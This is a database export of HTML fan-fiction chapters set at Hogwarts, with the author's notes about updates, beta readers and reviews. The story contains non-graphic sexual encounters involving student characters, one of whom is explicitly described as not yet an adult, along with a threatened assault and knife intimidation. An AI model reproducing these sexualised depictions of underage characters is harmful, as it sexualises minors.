you didn&#8217;t have to hear the naughty details of it. I, on the other hand, don&#8217;t give a fig and I&#8217;m an overly curious bastard.&#8221;</p>\n\n<p>&nbsp;&#8220;Oh right,&#8221; she said, biting her lip in embarrassment.</p>\n\n<p>&nbsp;&#8220;So?&#8221; he prodded, nudging her leg with his knee.</p>\n\n<p>&nbsp;&#8220;All right!&#8221; Ginny burst out. &#8220;It was good, really good. In fact, I think I&#8217;m still bruised.&#8221;</p>\n\n<p>&nbsp;&#8220;Oooh,&#8221; Colin said, perking up a bit. &#8220;Like that, eh? I wonder if he&#8217;d fancy a frolic with me down by the lake. You know, like father, like&#8212;&#8221;</p>\n\n<p>&nbsp;Ginny smacked him on the side of the head and stood up, stamping on his foot for good measure. &#8220;Don&#8217;t you <i>dare</i> start on him! That would be too mean and I wonder why I ever told you anything in the first place.&#8221;</p>\n\n<p>&nbsp;Colin was stuck between cradling his head and massaging his foot. &#8220;All right, all right. I won&#8217;t say anything. I thought you didn&#8217;t like him?&#8221;</p>\n\n<p>&nbsp;Ginny flounced back on the seat and crossed her arms, staring at Colin&#8217;s shoulder. &#8220;I don&#8217;t,&#8221; she said flatly.</p>\n\n<p>&nbsp;&#8220;Mmmn hmmn, don&#8217;t worry chicken, <i>I</i> believe you.&#8221; Colin winked at her outrageously and Ginny couldn&#8217;t help but grin.</p>\n\n<p>&nbsp;&#8220;You&#8217;re impossible.&#8221;</p>\n\n<p>&nbsp;&#8220;I know.&#8221; Colin smiled, laying a finger by his nose and crinkling his eyes. &#8220;It&#8217;s part of my charm.&#8221;</p>\n\n<p>&nbsp;</p> Remember to review! And a big thanks goes out to Jessica for the DJ code. You can all come by to annoy me or read about what\'s going on in the AIDE world by going to http://deadjournal.com/users/singtoangels or by joining http://groups.yahoo.com/group/stafic where the updates are sooner and the cookies play!<br>\n\n\n<p>And this story isn\'t D/G or anything, but I think that it\'s perverse and fabulous. Check it out. <a href="http://adultfan.nexcess.net/aff/story.php?no=5000">Plaything</a>. It\'s quite, quite naughty and dark though, so be warned.<br>\n Cheers,<br>\n Sing </p><p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n</blockquote>\n\n '),
	(271, 19, '\n\n\n\n<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">\n\n<meta name="GENERATOR" content="Microsoft FrontPage Express 2.0">\n\n<title>Authour\'</title>\n\n\n\n<blockquote>\n\n<p><font size="5">Authour\'s Notes: Well, I was planning on dropping this since OotP made some of my plot points positively retarded. However, I changed my mind. So AIDE will not be abandoned. That said, I think that you will find a few things later that correspond with OotP very well. However, in chapter 17, it was stated that Narcissa\'s maiden name is Emeric, but we know from OotP that this is not the case. I believe that I may just keep it as I have written though. And her family situation is revealed a bit more in chapter 17 when Percy talks about it. *laughs* It\'s actually rather funny because I managed to peg the whole inbreeding thing for purebloods. I\'m quite pleased. I don\'t anticipate too much from OotP filtering in here, but just to keep my options open, I\'ll say that there may be hints here and there. So now you can consider this story an AU after GoF.</font></p>\n\n<p><font size="5">I\'d like to thank Claire and Alexis, as usual, for their fabulous work beta reading. I love you girls. And my faithful reviewers, of course. Both Draconia and Tegan have submitted some fanart for chapters 12 and 15. If you\'d like to see them, they\'re in the files section at my yahoogroup.</font></p>\n\n<p><font size="5">Just a quick question though before I let you all loose to read. Are most of you planning on reading anymore fics that were started before OotP? Just answer in your reviews so I can know some other people\'s thoughts on the matter.<br>\n\n\n<br>\n\n\n<br>\n\n\n</font></p>\n\n<p><font size="5">On Draco\'s first day back at Hogwarts, Pansy Parkinson had turned his charming offer of a quick tumble down flat and it had ruined his entire week, especially considering that none of the other females in his house would touch him, either. The little squash-nosed bitch was on the same side as every other Slytherin. At least they hadn\'t done anything other than hurl insults and leave nasty presents in his bed. Yet.<br>\n\n\n<br>\n Draco didn\'t feel the need to explain his actions to his housemates; after all, self-preservation was certainly a Slytherin trait. For some reason, though, they didn\'t seem to remember that. Then again, it could have been the fact that half of them now had fathers in Azkaban. The Ministry had even raided the Bulstrode estate in Chalfont-St.-Peter, which was not far from his own home, even though the Bulstrodes had had the remarkable sensibility to not get involved in Voldemort\'s mess.<br>\n\n\n<br>\n So here he was, trudging through the halls with only ten minutes left before curfew. He\'d been having difficulty sleeping for ages and he couldn\'t remember the last time he\'d had a descent night\'s rest. A book would have to take the place of sleep and, if he was lucky, a nice boring one would send him straight out.<br>\n\n\n<br>\n As he rounded the corner, he saw a familiar redhead walking out of the library with a couple of rolls of parchment in her hand. Draco smirked to himself. If he couldn\'t sleep anyway, he may as well have some fun.<br>\n\n\n<br>\n Draco caught up to her easily as she stepped into a dreary looking corridor, his voice making her freeze.<br>\n\n\n<br>\n &quot;Are you up for another go, gosling?&quot; he purred into her ear before stepping back to admire the blush that rose on the nape of her neck.<br>\n\n\n<br>\n Ginny didn\'t turn to face him, but to her credit, she didn\'t run either. Draco reached up to trail his hands suggestively over the back of her arms. It had been over a week since he\'d come back to Hogwarts and he was feeling a more than a little frustrated and . . . peckish for company.<br>\n\n\n<br>\n She sucked in a shuddering breath and continued to stare straight ahead. &quot;We can\'t do this again, Draco. We had fun, but that\'s all it was.&quot;<br>\n\n\n<br>\n &quot;Who says I want more than a spot of fun?&quot; Draco asked, leaning down to trail his lips along her neck. &quot;Or maybe, just <em>your</em> fun spot.&quot; He could feel the muscles in her arms bunch and tighten, shivers coursing through her body; now to give her the proper motivation.<br>\n\n\n<br>\n &quot;Mmmn, you\'re a hot little tart.&quot; Draco stuck his nose in her hair and inhaled her scent. &quot;Oh, an apple tart, it seems. How long have you been <em>steaming</em> away under these robes, Ginny? Just itching for me to give you-&quot;<br>\n\n\n<br>\n Ginny abruptly turned to face him, her nose almost squashing into his chest. The graceful blush from a moment ago had darkened to a florid red. &quot;Don\'t speak to me that way,&quot; she ground out, staring him directly in the eye. &quot;I\'m not your personal sex slave, and you can\'t have me whenever you want. In fact-&quot;<br>\n\n\n<br>\n Draco pulled Ginny up into a searing kiss, cutting her off and smothering her body with his. When Ginny moaned into his mouth, he almost smiled. He knew she fond of a good snog more than anything else; girls were like that. Her scrolls dropped to the floor unheeded as her hands slipped down to fumble at the clasp of his robes. Draco gave in to his amusement and smirked against her lips.<br>\n\n\n<br>\n It was just that easy.<br>\n\n\n<br>\n\n\n<br>\n *~*~*~*~*<br>\n\n\n<br>\n\n\n<br>\n He didn\'t think it would ever be possible in a million years, yet it was. He, Ronald Weasley, was getting sick of all the attention. Okay, so the parade down Diagon Alley was nice. And all of the companies that came to ask for his endorsements were wonderful. But frankly he was starting to get annoyed by all the girls. And the staring, that was tough, too.<br>\n\n\n<br>\n Every time he had walked into a room for the past two months, the females would freeze and gawp like star-struck fools. All right, so that wasn\'t too terrible after all, rather nice actually. But when he went to the lav and a girl hopped down <em>from the top of the stall</em> to land on his shoulders, Ron decided then and there that enough was enough.<br>\n\n\n<br>\n As quickly as possible, he pulled the girl down and was about to gently send her on her way when he received a well-aimed punch to the jaw, quickly followed by the sound of a chant and a burst of green light.<br>\n\n\n<br>\n &quot;What the-&quot; Was all Ron managed before he fell to the ground, stunned by both the blow and the binding curse on his legs. In front of him was a pair of fancy black heels. Ron allowed his eyes to trace their way up the black stocking covered legs and further until he saw a pair of frosty blue eyes above a decidedly pug-like nose. Merlin\'s teeth! She was tall for a girl.<br>\n\n\n<br>\n &quot;Parkinson?&quot; Ron groaned, shaking his head and trying to sit up, even though his legs were bound by magic. His wand had been thrown over near the stall and there was no way he could possibly reach it.<br>\n\n\n<br>\n &quot;That\'s right,&quot; she said. Her jaw was clenched and her wand in danger of snapping from her tight grip.<br>\n\n\n<br>\n &quot;I suppose you aren\'t here for a snog then?&quot; He smirked sarcastically at her while rubbing his aching jaw. It probably wasn\'t the most intelligent thing to say, he reflected later. Pansy\'s eyes darkened to an even colder shade of blue and she swiftly kicked him in the stomach.<br>\n\n\n<br>\n &quot;I <em>hate</em> you,&quot; she shrieked. &quot;You can\'t imagine how much I loathe the very sight of you and your slut of a sister.&quot;<br>\n\n\n<br>\n Ron\'s forehead crinkled and he attempted to gather his breath to speak. &quot;Ginny?&quot; he squeaked. &quot;What does she have to do with anything? For that matter, what did I do to you that\'s so horrible?&quot;<br>\n\n\n<br>\n &quot;As if you don\'t know.&quot; Pansy crossed her arms and paced above him, her heels clacking against the tiled floor. &quot;You killed the Dark Lord and my father was arrested with all the others who raided your house on Christmas.&quot;<br>\n\n\n<br>\n Ron tried to speak but she cut him off with a sharp downward slash of her hand. &quot;I don\'t want to hear your excuses. It\'s bad enough that you killed the Dark Lord, but your sister . . .&quot; Pansy trailed off and pulled a small knife out of her robes, testing the edge with her thumb. &quot;Your sister stole my boyfriend.&quot;<br>\n\n\n<br>\n The gleam in Pansy\'s eyes did little to ease Ron, and the knife in her hand was making him nervous, bringing back memories of Christmas and Percy and Voldemort. He swallowed hard and forced himself to focus on what was just said. &quot;Who\'s your boyfriend?&quot;<br>\n\n\n<br>\n Pansy sniffed and tossed her perfectly coiffed, pale blonde hair. &quot;Draco Malfoy,&quot; she said, as if it were flawlessly obvious. <br>\n\n\n<br>\n Ron stared at her. He had forgotten all about that bruise on Malfoy\'s neck when he and Ginny were brought downstairs. Everything had happened so fast that it just didn\'t occur to him afterwards that- oh God. &quot;Malfoy? Malfoy and <em>my</em> sister?&quot;<br>\n\n\n<br>\n The knife in Pansy\'s hand gleamed as she tilted it in her hand. &quot;Yes, <em>your</em> sister and Draco. They\'ve been at it like mooncalves all over the castle since after hols. You honestly haven\'t noticed?&quot;<br>\n\n\n<br>\n &quot;No.&quot; Ron choked, shaking his head to clear the image of Ginny clinging to Malfoy on Christmas morning. Voldemort running his fingers down her cheek and how she cringed, how she held onto <em>Malfoy</em>. &quot;I didn\'t know anything about this.&quot;<br>\n\n\n<br>\n Pansy lifted one eyebrow. &quot;Interesting. Everyone must have been too afraid to tell the \'saviour\' of the wizarding world about his slag of a sister. You may have killed the Dark Lord, but I, for one, am not afraid of you. You\'re still a freckled beanpole named <em>Weasley</em> and I don\'t see how anyone in their right mind could possibly think that you killed the Dark Lord.&quot; She idly twirled the knife in her hands, flickering the blade between her slender fingers while she gathered her next thoughts. &quot;It isn\'t as if I care about Draco; he\'s a traitor and we all despise him. But this is a matter of pride for both myself and Slytherin.&quot; She studied Ron a moment longer before reaching a conclusion. &quot;I\'ll allow you to live today.&quot; Pansy pointed at him with the knife. &quot;Provided of course that you keep your sister in line. But I can\'t speak for the other Slytherins, and I can\'t say I won\'t kill you later.&quot;<br>\n\n\n<br>\n Ron narrowed his eyes and glared but didn\'t say anything. She was still holding a weapon, after all.<br>\n\n\n<br>\n &quot;I\'ll be watching you; we will <em>all</em> be watching you. One false move on the part of you or that strumpet you call sister and I\'ll cut you to ribbons.&quot; Pansy waved the knife around and Ron followed it with his eyes. &quot;Won\'t it be fitting?&quot; She smirked. &quot;To be killed by Muggle means, since your family loves them so much.&quot;<br>\n\n\n<br>\n Shaking his head, Ron mumbled his agreement if for no other reason than to keep the peace. She couldn\'t possibly know how he had killed Voldemort, very few did and they were sworn to silence. <br>\n\n\n<br>\n &quot;I\'ll keep Gin away from Malfoy. I would have done it anyway, had I known what they were doing.&quot; He lifted his face and looked Pansy directly in the eye. &quot;Next time though, maybe you should consider ways to keep your boyfriend interested. If this is a trend, I don\'t want Crabbe or Goyle to be next on my sister\'s list.&quot;<br>\n\n\n<br>\n Pansy\'s eyes widened at his last sentence before she brought up her foot and slammed it down on Ron\'s hand, her pointed heel digging into his knuckles. &quot;I would never!&quot; she screeched. &quot;I\'d almost rather sleep with a Muggle-lover like you before I\'d touch either of <em>those</em> two idiots!&quot;<br>\n\n\n<br>\n Ron inhaled sharply and smirked while rubbing his hand. She was so incredibly thick. &quot;Join my fan club then; seven sickles gets you a signed photograph and a romp in the sheets with the famous Ron Weasley.&quot;<br>\n\n\n<br>\n &quot;How dare you speak to me that way!&quot; The girl trembled with rage, stamping the ground like a horse. After a moment, Pansy composed herself and stared at him coldly, her lip curling around one side of her short nose. &quot;You\'ll pay for this, Weasley. But I\'m late for Charms so it\'ll have to be later.&quot;<br>\n\n\n<br>\n Ron rolled his eyes. The girl must be squeamish about bloodshed; otherwise, he\'d be a puddle already. &quot;Yeah, remind me to write it down on my calendar: Chelsea smile courtesy of Pansy Parkinson at three <em>sharp</em>. <br>\n\n\n<br>\n With a delicate sniff, Pansy turned up her pinched nose and strode out of the bathroom, her robes swirling around her angrily.<br>\n\n\n<br>\n &quot;Oi! What about my legs?&quot; Ron shouted. He didn\'t really think she would come back, and he wasn\'t disappointed. &quot;Jolly brilliant,&quot; he sighed. His wand was still over near the toilet and that was at least ten feet away.<br>\n\n\n<br>\n Firming his lips in resolution, Ron attempted to drag himself closer using only his hands and arms. It worked all right, but very slow going. After he had hold of his wand and was whispering the reversal spell, he thought about Ginny and exactly what he was going to do to Malfoy.<br>\n\n\n<br>\n\n\n<br>\n *~*~*~*~*<br>\n\n\n<br>\n\n\n<br>\n Harry glanced around the garden he was digging in behind Hagrid\'s hut, looking for Flobberworms to replace Hermione\'s rapidly dwindling supply. He grinned to himself and shook his head. This was much more interesting than a simple friendship. Then again, when had their friendship ever been simple?<br>\n\n\n<br>\n Hermione was everything that was complex and mysterious about a woman, and he especially loved the differences in her attitude towards life since their short stay at The Sparrow. Before she\'d always been so . . . perhaps tense was the word for it. Hermione didn\'t seem to care about things like rules anymore and flagrantly disobeyed several on a daily basis. She was like a butterfly peeping out of her cocoon for the next adventure. What had shocked him senseless though was when she\'d snuck into the boy\'s dormitory one night and climbed on top of him, still possessing mind enough to cast a silencing charm before ripping off his pyjamas. They were having the time of their lives and he always managed to discover a new facet of her every day. <br>\n\n\n<br>\n Hermione was insatiable.<br>\n\n\n<br>\n Which is why Harry didn\'t mind so much when she sent him out to collect ingredients for her potion. The way Hermione saw it, her mind being innately tuned to fairness and equality as it was; he was only doing his part to further their night-time explorations.<br>\n\n\n<br>\n Seamus and Dean had told him a few days after they returned to school that new relationships were always like that. You\'d shag your brains out the first couple of weeks and then not so often after that. Harry mentally counted back and was startled to realise that it had been over two months since they\'d first slept together and the passion he felt for her still hadn\'t dimmed. Possibly it was because she seemed like a completely different person every day so the passion didn\'t have a chance to wink out before someone new showed up. When Harry thought about it more closely, she seemed a little unstable and he really should talk with her about it.<br>\n\n\n<br>\n But he remembered the day they first slept together and his face darkened while he continued to dig, thinking of Christmas and forgetting about Hermione\'s unhinged behaviour. Harry had thought about it numerous times and he <em>knew</em> with certainty the exact moment Voldemort had died. He remembered how the pain in his scar had flashed white-hot briefly while he was- when Hermione had felt pain their first time. Harry wiped a dirty hand over his brow and continued to dig into the slushy mixture of mud and snow, not wanting to remember anything that had happened after he and Hermione were at the inn. But by refusing to sink to the bottom of his thoughts, Dumbledore\'s anger at him and Mr. Weasley\'s disappointed face swam to the surface.<br>\n\n\n<br>\n He was just about to stand up when the thought of Mr. Weasley reminded him that he was supposed to get extra Flobberworms for Ginny. Harry didn\'t like it. In fact, he hated it. But there was nothing he could do; Ginny would continue to see Draco no matter what anyone said. And he had said. Oh, he had said a lot. So had Hermione. In the end though, it had come down to one thing: Ginny was allowed to make her own mistakes. She wasn\'t an adult yet, but Hermione made him realise that they had no right lecturing Ginny about her choice in companions. Later that night, Hermione had confided in him that Ginny would likely suffer enough when Draco was through with her so they shouldn\'t make it worse, but only be there for her when they could.<br>\n\n\n<br>\n &quot;But, Hermione,&quot; he remembered saying. &quot;This is Malfoy we\'re talking about! I know he seems to have changed a little, and even Mr. Weasley told him that he\'s always wel . . .&quot; Harry trailed off and had to swallow a bitter lump in his throat before he could continue. &quot;I just don\'t like this, Hermione. Not one bit. And it may not be our business who Ginny sees, but are you honestly ready to just stand by and watch while Malfoy tears her heart into little pieces?&quot;<br>\n\n\n<br>\n Hermione narrowed her eyes and it was one of possibly three times that Harry had ever seen her anger directed at him, even if it was only because of the sheer frustration she felt at the situation. <br>\n\n\n<br>\n &quot;Of course I\'m not ready to stand by and watch!&quot; she snapped. &quot;But there isn\'t anything we can do! Ron won\'t speak to us and I don\'t think it best that he be involved anyway. He isn\'t exactly level-headed when it comes to his family. I\'ve spoken with Ginny several times already and she still thinks that she can sleep with that rat Malfoy for a while and come out of it unscathed. She says that she doesn\'t feel anything for him, that they\'re using each other, but I think it\'s all a lie she\'s telling herself. She won\'t listen to me, or anyone else, not even Colin. I highly doubt that she\'d listen to you, either, so I say we support her feelings if nothing else. I won\'t lose her, too.&quot;<br>\n\n\n<br>\n Tears welled up in Hermione\'s eyes, but she blinked them away angrily. Harry knew that as angry as she was, she still missed Ron and the other Weasleys. So did he. Ginny was the only one that still connected them at all to that warm and generally happy family, and now she seemed to take on several empty roles in their lives. <br>\n\n\n<br>\n &quot;I\'ll be there for her,&quot; Harry had sighed. &quot;And I\'ll bite my tongue because you think it best. But just remember that I don\'t like this at all. Not one bit.&quot;<br>\n\n\n<br>\n A shaft of piercing sunlight in the eye brought him back to the present. The corners of Harry\'s mouth tucked themselves into his cheeks and his eyebrows sloped down in a frown at the thought of doing nothing about the Ginny situation. The things he did for Hermione. He looked down into his box and noticed that there were six long, brown, shiny Flobberworms nestled into the old rags covering the bottom. It would surely be enough for the two of them, wouldn\'t it?<br>\n\n\n<br>\n Harry stood up and tried to dust the snow from his robes but only succeeded in making a mess. Classes were over for the day and he noticed, as he walked back toward the castle, that Hagrid was still locked up inside of his cabin. He hadn\'t seen him since yesterday\'s Care of Magical Creatures. Harry shrugged and knocked on the oak door, observing that it had lost some of its shine since his last visit. No one answered, and he frowned, knocking again. He finally decided to just open the door and have done with it. The man never came out anymore except to teach classes and he hadn\'t been that way since Madame Maxime died sixth year in a Death Eater attack. <br>\n\n\n<br>\n Hagrid wasn\'t there, and it looked like he hadn\'t been there all day. Harry deduced this from the dry, flaky mud tramped all over his floor and the bottles of Ogden\'s Old Fire Whiskey laying around on their sides, the liquid inside half-evaporated. He sighed and closed the door, focusing on getting the box of Flobberworms back to Hermione instead of the remembered warmth of liquor coursing through his limbs. <br>\n\n\n<br>\n Harry stopped and fumbled with the box of cigarettes in his pocket, taking one out and inhaling deeply. He still had them even though Hermione thought she had destroyed them all. She wouldn\'t know if he had just one with maybe a smoke shop mint afterward. Damn Draco Malfoy for ever putting the things in his hand. He now depended on them the same way he had depended on Fire Whiskey before hols. There were only two things that calmed Harry down when he was feeling nervous or uneasy: Hermione and cigarettes. And since Hermione was still studying in the library, that left his trusty little white sticks.<br>\n\n\n<br>\n Despite the fact that Voldemort was dead, and he really was this time, Harry still had the same feeling of impending doom that had haunted him ever since his fourth year. There was a body though; he had <em>seen</em> Voldemort\'s body along with the rest of the wizarding world since the Ministry had insisted on displaying it to the public as proof that the Dark Lord was no longer a threat. And the Death Eaters who hadn\'t been captured at the Burrow on Christmas were slowly being rounded up and sent to Azkaban, and weren\'t much of a threat.<br>\n\n\n<br>\n So why were his hands shaking?<br>\n\n\n<br>\n\n\n<br>\n *~*~*~*~*<br>\n\n\n<br>\n\n\n<br>\n Ginny sighed and stretched. The silk sheets under her back were hot and she squirmed uncomfortably. Usually the dungeons were damp and chill, but in a bed with the curtains pulled shut and a body lying on top of you, it could get too warm for comfort very fast.<br>\n\n\n<br>\n &quot;Be still,&quot; Draco mumbled against her stomach. &quot;I want a nap before supper.&quot;<br>\n\n\n<br>\n Ginny\'s lip curled into a smirk that was very similar to the one Draco usually wore, and deliberately rolled out from underneath him. &quot;I agree; you do need your beauty sleep. But since you may want to leave school one day, I don\'t suggest it.&quot;<br>\n\n\n<br>\n Draco lifted an eyebrow and grabbed his pillow instead. &quot;This is better anyway, your stomach isn\'t as soft as it used to be. You\'ve been playing too much Quidditch.&quot; His voice was muffled and distorted by the pillow, but she heard him.<br>\n\n\n<br>\n Ginny looked down at her stomach and pressed at it with her finger, noticing happily that it was much firmer than it was the first time they had slept together. It was true; she <em>had</em> been playing Quidditch an awful lot lately, both for practice and for fun, so maybe it was finally paying off. She noted her bottom with a frown though; Quidditch didn\'t seem to be whittling that down any smaller. Perhaps some more callisthenics were in order.<br>\n\n\n<br>\n &quot;If that was meant to be an insult, Draco, find another audience because I\'m pleased with myself, thank you very much.&quot;<br>\n\n\n<br>\n He grunted and lifted his head from the pillow. &quot;I suppose you would be at that.&quot; Draco waved a hand at her and flopped his face back down into the feathery softness. &quot;Go on then, you don\'t want to get caught in my room again, do you?&quot;<br>\n\n\n<br>\n &quot;Definitely not.&quot; Ginny still remembered her encounter with Crabbe and Goyle one evening with a shiver. Nasty pieces of work they were, too. If Draco hadn\'t stepped in and proclaimed his \'ownership\', they would have had their way with her right there. Even though most of Slytherin house hated Draco for what he\'d done and who he was currently associating with, they still curiously feared his wrath. But Ginny was certain that the rules could change any time, so she wasn\'t about to take any more risks than she was already.<br>\n\n\n<br>\n As she rooted around for her clothes and mindlessly put them on, Ginny thought about how much her encounters with Draco had changed. When they had first come back to school, it had just been rough shags against the wall in unused corridors. Now they had settled into a routine that basically consisted of Ginny sneaking down to his room through a secret passageway after classes. They would shag, of course, and occasionally talk. Most often though, Draco would fall asleep and refuse to let her leave until he woke up for supper in the evenings. How she found the time to study and keep her marks up in class, she never knew.<br>\n\n\n<br>\n &quot;Draco, I\'m leaving now. I won\'t see you tomorrow though, I promised Hermione that I would spend some time revising for my Potions exam next Friday.&quot;<br>\n\n\n<br>\n His head snapped up quickly and he frowned. &quot;Why the devil do you have to do that? You\'re almost at the top of your year. Tell Granger to go shag Potter and leave you alone.&quot;<br>\n\n\n<br>\n Ginny\'s eyebrows rose at this. &quot;So you\'ll miss me tomorrow?&quot; she asked hesitantly, afraid to break the unwritten rule.<br>\n\n\n<br>\n &quot;Of course, even you said I need my beauty sleep. How am I supposed to do that without wearing myself out first?&quot;<br>\n\n\n<br>\n She nodded and turned away to pull on her shoes. It wasn\'t as if she expected more; to Draco she was just a convenient shag and a piece of furniture for him to lie on afterwards. Ginny hated the fact that she wanted more now than she had before, when it was obvious that he would never change. Hermione was probably right after all, but Draco was an addiction she wasn\'t ready to give up yet.<br>\n\n\n<br>\n Draco surprised her with a peck on the lips when she turned to say good-bye. But his eyes were blank pools when she looked up into them. &quot;You will come to me tomorrow?&quot;<br>\n\n\n<br>\n It wasn\'t a request and Ginny simply nodded. He played her like an instrument, and he always seemed to know just how to make her do what he wanted. With one small kiss he melted her like putty in his hands. She hated it.<br>\n\n\n<br>\n Ginny stood up and grabbed her books, walking out into the corridor after making sure that no one was there to see her leave. She went to the panel that hid the secret passageway and knocked on it twice with her wand before it opened and she climbed the stairs. The other end was close to Dumbledore\'s office and she always had to make sure that no one was around before closing the panel behind her.<br>\n\n\n<br>\n Today was different from other days because she saw her brother Bill pacing anxiously in front of the entrance to Dumbledore\'s office. Ginny dropped her books and ran to hug her brother.<br>\n\n\n<br>\n &quot;Bill! Where have you been? We tried so hard to find you and Mum sent you-&quot;<br>\n\n\n<br>\n He embraced her carefully before cutting her off. &quot;I know, I received a stack of letters when I came back to Cairo. I\'ve been on business for Dumbledore for almost three months now and I wasn\'t able to owl you all to say I couldn\'t make it to the funeral. I was barely able to owl Mum saying that I would miss Christmas.&quot; Bill blinked back a few tears and swallowed hard. &quot;Poor Percy. Did they catch the one who killed him?&quot;<br>\n\n\n<br>\n Ginny realised with a start that he didn\'t know anything about how Percy had died and she wasn\'t sure that she was the one to tell him. &quot;Yes, they\'re dead.&quot;<br>\n\n\n<br>\n Bill nodded grimly. &quot;Good. I would have done worse if I\'d been able to catch the bastard. How\'s Mum holding up?&quot;<br>\n\n\n<br>\n &quot;Haven\'t you been home yet?&quot;<br>\n\n\n<br>\n &quot;No, I had to come here straight away.&quot;<br>\n\n\n<br>\n &quot;Oh.&quot; Ginny sighed. &quot;Well, she\'s doing all right. We all are. I suppose that you heard about Ron?&quot;<br>\n\n\n<br>\n At this, her brother grinned and his chest puffed out with pride. &quot;I did. My little brother defeated You-Know-Who, I couldn\'t believe it.&quot;<br>\n\n\n<br>\n &quot;Neither could I,&quot; she whispered. &quot;Ron has a huge head about the whole thing now,&quot; Ginny said in a louder voice. &quot;He struts around as if he owns the world and he always has a gaggle of girls following him everywhere; it\'s positively sick making.&quot;<br>\n\n\n<br>\n Bill threw his head back and laughed wholeheartedly, his fang earring dangling. &quot;Knowing Ron, he enjoys every minute of it.&quot;<br>\n\n\n<br>\n Ginny could feel her lip twitching in amusement. &quot;I suppose he does.&quot;<br>\n\n\n<br>\n Bill smiled and hugged her close to him again. &quot;I\'ve missed you all so much. Perhaps after I\'ve finished my business with Dumbledore he\'ll let me come up to Gryffindor tower and say hello to everyone.&quot;<br>\n\n\n<br>\n Her eyes lit up. &quot;Oh, that would be wonderful! Maybe we ca-&quot;<br>\n\n\n<br>\n At that moment, the spiral staircase descended behind them and they turned to see Dumbledore walking toward them.<br>\n\n\n<br>\n &quot;Mr. Weasley, Miss Weasley, I hope I\'m not interrupting?&quot;<br>\n\n\n<br>\n &quot;Of course not, Professor. Ginny and I were just talking about some family things.&quot;<br>\n\n\n<br>\n Dumbledore nodded and fixed his gaze on Ginny. She felt uncomfortable and began to squirm; it was almost as if he knew where she had been. &quot;I see. And what were you doing in this part of the castle, Miss Weasley?&quot;<br>\n\n\n<br>\n &quot;I was- I was j-just, um . . .&quot;<br>\n\n\n<br>\n &quot;Remember, Miss Weasley, Mr. Filch guards this hallway a little more carefully than most. You may return to your house now where I assume that you\'ll be revising for your upcoming exam in Potions?&quot; He lifted an eyebrow at her, his blue eyes twinkling, and she blushed. Dumbledore probably knew about her and Draco, everyone except Ron already did.<br>\n\n\n<br>\n &quot;Yes, Headmaster. I was just on my way back.&quot; She stretched up on her toes to give her brother a quick kiss and bent down to collect her books. &quot;I\'ll see you later, Bill.&quot;<br>\n\n\n<br>\n Her brother gave her an odd look, but shrugged and waved all the same. &quot;Good bye, Gin. Say hello to Ron for me.&quot;<br>\n\n\n<br>\n Ginny had just picked up her last book and was about to head off to Gryffindor tower when the tiny smile on Dumbledore\'s face stopped her cold. He was such an odd old man, and he probably did know about her and Draco. <br>\n\n\n<br>\n &quot;I will.&quot; She promised Bill, and walked down the hall. Halfway down, she stopped to see if they were still there, but Bill and Dumbledore had gone.<br>\n\n\n<br>\n\n\n<br>\n\n\n</font></p>\n\n<p><font size="5">Reviewing is good for your soul and mine, too! If you\'d like to join my yahoogroup for updates, the URL is groups.yahoo.com/group/stafic I didn\'t really get that many reviews last time, so I\'m wondering how many people are still reading this. If you are, just a quick line to let me know if you would be so kind.</font></p>\n\n<p><font size="5">Thanks guys. Hopefully chapter 19 will be out shortly after Alexis comes back from Myrtle Beach.</font></p>\n\n<p><font size="5">Cheers,</font></p>\n\n<p><font size="5">Sing</font></p>\n\n</blockquote> '),
	(271, 20, '\n\n<style type="text/css">\n\n</style>\n\n\n\n<title>Chapter Nineteen</title>\n\n\n\n<blockquote><p><font size="4" face="Garamond">Authour\'s Notes: Hello my faithful followers! I mean, uh-my beautiful readers . . . *wipes forehead in relief that they didn\'t catch on to the brainwashing*<br>\n\n\n<br>\n I know that it\'s been quite a while since I updated. However, circumstances out of my control have prevented me from reading fic unless I print it out to take home, reviewing fic (I loved the new chapter of JOTH, Cathy! I just can\'t tell you how much until I get my phone back. So I <em>will</em> review it . . . eventually. And I love tea rose perfume, too! It\'s my absolute favourite.) or posting it. I lost my phone about 19/07 and have been using the internet at the library to keep up with my mail. *sighs* I keep thinking that I\'m going to get it back, and then a new bill pops up. *double sigh* Anyway, enough about that crap. Suffice to say that I\'m terribly sorry about all this. I haven\'t abandoned AIDE, cross my heart. And I\'ve been writing all sorts of other smutty goodness, too. Those on my list will have access to that because it\'s not the right pairings for Portkey and may be too risqu&#233; for ff.net.<br>\n\n\n<br>\n As a gesture of thank you for the nice letters asking if I had croaked and the continuing support from you, the readers (not to mention that Alexis sent three chapters to me when she finally got back from her three month day trip into Bed, Bath, &amp; Beyond) I\'m posting two chapters together with the third (chapter 21) to follow shortly after (probably after my son\'s birthday party since that seems to be taking up my days, his actual birthday was Sunday). I had thought that I wouldn\'t be able to post anything due to the fact that my 3 &#189; floppy drive died, or rather, was killed (all those with two year-olds at home can imagine my agony when I discovered the remains of several small biscuits shoved in there one morning) However, my CD ROM is alive and well, so I had the brilliant notion to buy some re-writables and put my files on those to take to the library. (You wouldn\'t believe how long it took me to think of that. I\'m quite dense, you know)<br>\n\n\n<br>\n About this actual chapter: I saw a review at Schnoogle (where I have failed to remember to post chapters time and again, so it\'s permanently stuck at chapter 13 until I fix this) that said Ron is not in character and I\'m using him as a plot device to get Harry and Hermione together. That was never my intention. *pauses* Oh all right! Until roughly chapter 4, that <em>was</em> my intention. However, thanks to the lovely Claire, I grew quite fond of Ron and decided to change his storyline a bit. Thus you all saw Ron killing Voldie instead of Harry. I hadn\'t planned that and it was quite accidental, but in a good way. After I grew so fond of the Weasley boy, I decided that he needed his own plot and I delved deeper into his little red head. <strong>I\'m not trying to make him a bad guy here; I\'m just trying to make him real.</strong> There are no actual bad guys in this story, except Lucius and Voldie perhaps, just people who are either misguided or giving vent to their passions. This chapter and those which follow are more Ron-centred to a point, then it weaves back into the rest of the plot for a while and Ron is still there, just not as vocal. I believe some people, like Sarea, will appreciate his story. *winks*<br>\n\n\n<br>\n About Draco and Ginny: Yes I know I know. You\'re all dying to find out how they actually feel about each other. There\'s a bit of that in these next three chapters and more as things progress. I\'ve actually written the ending to this story (not that I\'ve finished, whoa, far off from that!) and finally decided how things will end up for everyone once the Big Bad/Good is out of the way. I may change it later though, so I\'m keeping mum. I want to see what Clairey thinks of it first before I decide anything seriously.<br>\n\n\n<br>\n About Narcissa: There is a major plotline/tapestry thread partially concerning her later in the story. I know that I said I wouldn\'t change her surname from Emeric, however, I changed my mind when I realised that I could make this major plotline more believable if I stuck with canon on the point of her family background. So according to OotP (cover your eyes if you 